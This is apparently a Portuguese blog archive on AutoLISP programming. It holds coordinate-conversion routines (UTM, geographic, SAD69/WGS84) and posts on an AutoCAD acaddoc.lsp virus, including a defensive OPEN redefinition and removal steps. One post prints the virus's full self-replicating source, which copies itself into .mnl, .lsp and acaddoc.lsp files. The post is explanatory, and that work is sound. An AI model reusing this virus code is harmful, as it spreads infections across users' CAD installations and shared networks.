Mostrando postagens com marcador autolisp. Mostrar todas as postagens
Mostrando postagens com marcador autolisp. Mostrar todas as postagens

Autolisp - UTM para LatLon e viceversa

Bom, hoje vou voltar um pouco às origens do blog!!! Um pouco de autolisp pra relembrar os velhos tempos de programação em POG!!! A lisp abaixo na verdade são algumas subrotinas para conversão de coordenadas geográficas em UTM e viceversa. É bem fácil de usar se você souber o que é UTM e coordenada geográfica e está familiarizado com Georeferenciamento. Muitas pessoas me perguntam se eu tenho uma rotina pra converter e.... Bem, tenho!! Está aí!!
;| Conversão de UTM para GEOGRAFICA
baseado em http://recursos.gabrielortiz.com/index.asp?Info=058a
metodo: Coticchia-Surace
ay:     coorenada do semi eixo maior (m)
bx:     coorenada do semi eixo menor (m)
pt:     (cord_X coord_Y coord_Z)
fuso:   fuso, inteiro
hmsf:   hemisferio, "N" para norte e "S" para sul
se for conhecido f, temos: bx=(1-f)*ay
sad69 ->          ay = 6.378.160,000m e f = 1/298,25
corrego alegre -> ay = 6.378.388,000m e f = 1/297,00
(utm2geo (GETPOINT) 6378160.0  298.25 22 "S") => 25º25'51"15216  49º17'02"51881
|;

(defun utm2geo (pt ay f fuso hmsf / tmp e el el² c alpha lo phil nu A1 A2 J2 J4 re
                J6 beta gama Bo zeta xi eta sinhxi dl tau lat lon x y x1 y1 fe bx
)
  (
setq ay     (float ay)
        bx     (* ay (- 1 (/ 1.0 f)))
        x      (car pt)
        y      (cadr pt)
        re     6366197.724 ;raio da terra
        fe     0.9996      ;fator de escala
        tmp    (sqrt (- (expt ay 2) (expt bx 2)))
        e      (/ tmp ay) ;excentricidade
        el     (/ tmp bx) ;2ª excentricidade
        el²    (expt el 2)
        c      (/ (expt ay 2) bx);raio polar de curvatura
        x1     (- x 500000.0)
        y1     (if (or (= hmsf 'N) (= hmsf "N")) y (- y 10000000.0))
        phil   (/ y1 (* re fe))
        lo     (- (* 6 fuso) 183)
        nu     (/ (* c fe) (sqrt (1+ (* el² (expt (cos phil) 2)))))
        a      (/ x1 nu)
        A1     (sin (* 2 phil))
        A2     (* A1 (expt (cos phil) 2))
        J2     (+ phil (/ A1 2.0))
        J4     (/ (+ (* J2 3.0) A2) 4.0)
        J6     (/ (+ (* 5.0 J4) (* A2 (expt (cos phil) 2))) 3.0)
        alpha  (/ (* 3.0 el²) 4.0)
        beta   (* (/ 5.0 3.0) (expt alpha 2))
        gama   (* (/ 35.0 27.0) (expt alpha 3))
        Bo     (* fe c (+ phil (* (- alpha) J2) (* beta J4) (* (- gama) J6)))
        b      (/ (- y1 Bo) nu)
        zeta   (* (/ (* el² (expt a 2)) 2.0) (expt (cos phil) 2))
        xi     (* a (- 1.0 (/ zeta 3.0)))
        eta    (+ (* b (- 1.0 zeta)) phil)
        sinhxi (/ (- (exp xi) (exp (- xi))) 2.0)
        dl     (atan (/ sinhxi (cos eta)))
        tau    (atan (* (cos dl) (tan eta)))
        lon    (+ (* (/ 180.0 pi) dl) lo)
        lat    (* (/ 180.0 pi)
                  (
+ phil (* (+ 1.0
                                (* el² (expt (cos phil) 2.0))
                                (
* (/ -3.0 2.0) el² (sin phil) (cos phil) (- tau phil)))
                             (
- tau phil)))))
  (
if (caddr pt)
    (
list lon lat (caddr pt))
    (
list lon lat 0.0)))


;pt -> long lat
;a  -> semi eixo maior
;f  -> achatamento
(defun geo2utm (pt a f / b e el el² c lamb fi fuso lo deltal Am eps n v
                S A1 A2 J2 J4 J6 alfa beta gama bo
)
  (
setq a      (float a)
        b      (- a (/ a f))
        el     (/ (sqrt (- (expt a 2) (expt b 2))) b)
        el²    (expt el 2)
        c      (/ (expt a 2) b)
        fuso   (fix (+ (/ (car pt) 6.0) 31))
        lamb   (/ (* (car pt) pi) 180.0)
        fi     (/ (* (cadr pt) pi) 180.0)
        lo     (- (* fuso 6) 183) ;meridiano central
        deltal (- lamb (/ (* lo pi) 180.0))
        Am     (* (cos fi) (sin deltal))
        eps    (* 0.5 (log (/ (+ 1 Am) (- 1 Am))))
        n      (- (atan (/ (tan fi) (cos deltal))) fi)
        v      (/ (* c 0.9996) (sqrt (+ 1 (* el² (expt (cos fi) 2)))))
        S      (/ (expt (* el eps (cos fi)) 2) 2.0)
        A1     (sin (* 2.0 fi))
        A2     (* A1 (expt (cos fi) 2.0))
        J2     (+ fi (/ A1 2.0))
        J4     (/ (+ (* 3.0 J2) A2) 4.0)
        J6     (/ (+ (* 5 J4) (* A2 (expt (cos fi) 2))) 3.0)
        alfa   (/ (* 3.0 el²) 4.0)
        beta   (* (/ 5.0 3.0) (expt alfa 2))
        gama   (* (/ 35.0 27.0) (expt alfa 3))
        bo     (* 0.9996 c (+ fi (* (- alfa) J2) (* beta J4) (* (- gama) J6))))
  (
list  (+ 500000.0 (* eps v (1+ (/ S 3.0)))) ;x
         (+ bo (* n v (1+ S)) (if (< lat 0.0) 10000000.0 0.0));y
         (caddr pt)
         ))

(
defun LLA_wgs84->sad69 (pt)
   (
geo2geo pt 6378137.0 298.257223563 6378160.0 298.25 66.87 -4.37  38.52))

(
defun LLA_sad69->wgs84 (pt)
   (
geo2geo pt 6378160.0 298.25  6378137.0 298.257223563 -66.87  4.37 -38.52))


      
(
defun geo2geo (pt ;long_from lat_from h_from ;coordenadas geodesicas de origem
                a_from f_from             ;parametros geodesicos de origem
                a_to   f_to               ;parametros geodesicos de destino
                dx dy dz                  ;translação origem->destino
                / lat1 long1 f1 f2 a1 a2 e²1 e²2 N1 N2 Xw Yw Zw b2 p teta fi lamb hb ep²)
  (
setq lat1   (/ (* (cadr pt) pi) 180.0)
        long1  (/ (* (car pt) pi) 180.0)
        f1     (/ 1.0 f_from)        ;wgs
        a1     a_from                ;wgs
        e²1    (* f1 (- 2.0 f1))
        N1     (/ a1 (sqrt (- 1.0 (* e²1 (expt (sin lat1) 2.0)))))
        ;coord carteziana no sistema de origem:
        Xw     (* (+ N1 (caddr pt)) (cos lat1) (cos long1))
        Yw     (* (+ N1 (caddr pt)) (cos lat1) (sin long1))
        Zw     (* (+ (* N1 (- 1.0 e²1)) (caddr pt)) (sin lat1))
        ;coord carteziana do ponto no novo sistema:
        Xb     (+ Xw dx)
        Yb     (+ Yw dy)
        Zb     (+ Zw dz)
        ;converter carteziana para geodesica:
        f2     (/ 1.0 f_to)
        a2     a_to
        e²2
    (* f2 (- 2.0 f2))
        b2     (* a2 (- 1.0 f2))
        p      (sqrt (+ (expt Xb 2) (expt Yb 2)))
        teta   (atan (/ (* Zb a2) (* p b2)))
        ep²    (/ (- (expt a2 2.0) (expt b2 2.0)) (expt b2 2.0))
        fi     (atan (/ (+ Zb (* ep² b2 (expt (sin teta) 3.0))) (- p (* e²2 a2 (expt (cos teta) 3.0)))))
        lamb   (atan (/ Yb Xb))
        N2     (/ a2 (sqrt (- 1.0 (* e²2 (expt (sin fi) 2.0)))))
        hb     (- (/ p (cos fi)) N2))
  (
list (/ (* 180.0 lamb) pi);long
        (/ (* 180.0 fi) pi)  ;lat
        hb)                  ;altitude
  )



Link(s) da(s) subrotina(s) usada(s): tan
A dificuldade nem está nos cálculos em si, mas na sintaxe das fórmulas, não acham??

Vírus de Auto Lisp (acaddoc.lsp) - Uma possível solução

Lembra daquele famigerado vírus de autocad?

Pois é...

Se o seu AutoCAD também está leeeento, travando.... talvez você também tenha milhares de "acaddoc.lsp" distribuído na sua rede e na sua máquina....

Chegou a ler o fonte do mesmo? Não? Veja!!

Agora, analisando ele, nota-se que ele usa a função OPEN para se replicar.

E se redefiníssemos esta função, para que ela fizesse um teste antes de executar??

Bem, veja:

;;solução para o virus acaddoc.lsp
;; https://tbn2net.com
(IF (NOT *old_open*)
  (
PROGN
    (setq *old_open* open)
    (
defun open (file flag)
      (
if (member (strcase (vl-filename-extension file)) '(".LSP" ".MNL")  )
    (
PROGN
      (ALERT (STRCAT "TENTANDO CARREGAR VIRUS EM:\n\n" FILE "\n\n(EXIT) SERÁ CHAMADO APOS ESTE ALERTA\n\nLOCAL:\n" (GETVAR "DWGPREFIX") ))
       (
vl-file-delete (strcat (GETVAR "DWGPREFIX") "acaddoc.lsp" ))
      (
EXIT))
    (
*old_open* file flag)
    ))))
(
princ)
;;fim da solução
;;


Percebe como redefini esta função?

Eu armazeno a função OPEN original na variável *old_open* e redefino em seguida.

Como eu fiz:

Abri cada um dos arquivos *.LSP que esse vírus infecta na pasta C:\Users\\AppData\Roaming\Autodesk

Inclui esse código acima nele. Bem no início.

Também adicionei um "acaddoc.lsp" na pasta C:\Users\\Documents
com o conteúdo do código acima, pois o autocad carrega ele ao fazer o comando "QNEW" por exemplo. Como não há um caminho definido para o desenho ainda, o autocad assume que seja a pasta de documentos do usuário.

Bem, aqui está ajudando!!!

Se você é TI e tem uma rede pra administrar, dê um jeito de colocar esse código salvo como "acaddoc.lsp" na pasta de documentos do usuário quando este faz o login.

Não se preocupe. O usuário não dá a mínima pra isso. Eles só reclamam que tem vírus, mas não fazem nada para não pegar!!!


Na pior das hipóteses, não irá causar problemas, hehehe

Virus de autolisp

É eu sei que o blog está parado de postagens e é só propaganda, heheheh

Então vamos lá, que assuntos vocês gostariam de ver?

Visual lisp?

.NET?

Civil 3D?

AutoCAD?

Dicas de desempenho?

Escolham ai!!!!

Também posso publicar seus posts aqui, com crédito e tudo mais, aliás, um dos posts com mais sucesso foi um camarada que mandou, é aquele das video aulas de topograph!!!

Bom, aproveitando...

Vocês experimentaram uma lentidão absurda na abertura de algum desenho aí no cad de vocês???

Perceberam a criação de um acad.lsp ou acaddoc.lsp na pasta que você abre??

Pois é, aqui no escritório o bicho tá pegando por causa disso....

Vírus em autolisp pro autocad, é mole??

O TI aqui está quase doido, mas também os usuários não ajudam...

O vírus se propaga ao se replicar dentro de arquivos LSP e MNL, criando ainda um acad.lsp ou acaddoc.lsp.

Os arquivos que ele costuma infectar também estão aqui:
C:\Users\seu usuário\AppData\Roaming\Autodesk\programa da autodesk\enu\Support\

E os arquivos são:


  • C3D.mnl, somente civil 3d
  • Civil.mnl, somente civil 3d
  • acetmain.mnl, express tools
  • AecArchxOE.mnl, somente civil 3d?
  • acad.mnl, qualquer autocad ou vertical
Claro que pode pegar outros...

Dá uma olhada no código fonte do mesmo:




(setq flagx t)

(
setq flagx t)
(
setq bz "(setq flagx t)")
(
defun app(source target bz / flag flag1 wjm wjm1 text)
  (
setq flag nil)
  (
setq flag1 t)
  (
if (findfile target)
    (
progn
      (setq wjm1 (open target "r"))
      (
while (setq text (read-line wjm1))
    (
if (= text bz) (setq flag1 nil))
    )
;while
      (close wjm1)
      )
;progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (
setq wjm1 (open target "a"))
      (
write-line (chr 13) wjm1)
      (
while (setq text (read-line wjm))
    (
if (= text bz) (setq flag t))
    (
if flag
      (progn
        (write-line text wjm1)
        )
;progn
      );if
    );while
      (close wjm1)
      (
close wjm)
      )
;progn
    );if
  );defun
(setvar "cmdecho" 0)
(
setq acadmnl (findfile "acad.mnl"))
(
setq acadmnlpath (vl-filename-directory acadmnl))
(
setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(
setq mnlnum (length mnlfilelist))
(
setq acadexe (findfile "acad.exe"))
(
setq acadpath (vl-filename-directory acadexe))
(
setq support (strcat acadpath "\\support"))
(
setq lspfilelist (vl-directory-files support "*.lsp"))
(
setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(
setq lspnum (length lspfilelist))
(
setq dwgname (getvar "dwgname"))
(
setq dwgpath (findfile dwgname))
(
if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (
setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (
setq mnln 0)
    (
while (< mnln mnlnum)
      (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (
app mnlfilename acaddocfile bz)
      (
app acaddocfile mnlfilename bz)
      (
setq mnln (1+ mnln))
      )
;while
    (setq lspn 0)
    (
while (< lspn lspnum)
      (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (
app lspfilename acaddocfile bz)
      (
app acaddocfile lspfilename bz)
      (
setq lspn (1+ lspn))
      )
;while
    );progn
  );if
(setq mnln 0)
(
while (< mnln mnlnum)
  (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (
setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app mnlfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while
  (setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app mnlfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln (1+ mnln))
  )
;while
(setq lspn 0)
(
while (< lspn lspnum)
  (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (
setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app lspfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app lspfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while




Nem vou comentar....

A ideia básica é, achou um dos arquivos, copia o fonte do vírus pra dentro dele... Quando o arquivo é carregado, uma nova cópia é copiada pra dentro do arquivo...

Bem besta esse vírus, pois ele só cria um arquivo que vai crescendo.... aqui costuma ficar em 8 MB aí os cabeças reclamam...
o cad abre leeeeennnnnnntooooo pois está criando trocentos arquivos de vírus...

Bom, a resolução é:

Abre os arquivos MNL e LSP e apaga esses trechos, ou simplesmente sobrepõe o arquivo com uma versão não contaminada e, claro, apague os acad.lsp e acaddoc.lsp que estão nas pastas dos arquivos... Pois o autocad carrega esses arquivos quando os encontra na pasta do desenho a abrir...

É isso!!!

Autolisp

Ola gente!!

Hoje eu recebi um comentário numa postagem que fiz uns tempos atrás sobre o site www.autolisp.com.br.... Bem bateu aquela saudade, Hehehe afinal foram anos de boas discussões, algumas brigas, mas sobretudo muito conhecimento ....

Acredito que muitos se lembram.
Minha primeira postagem lá foi em 2004 e me orgulho de ter sido o primeiro a postar no forum!!!!

Em fim, depois conheci o cadklein, embora não sendo direcionado ao autolisp, tem bastante informação sobre. A maioria do usuários do autolisp também e usuário no cadklein!!

Esses dias digitei o endereço e lá estava a mensagem de que voltaria, mas isso em 2009 ainda... A página de acesso de administração ainda estava ativa então sei lá.... Marcos mendes, o que passa? Não quer me passar o controle da página?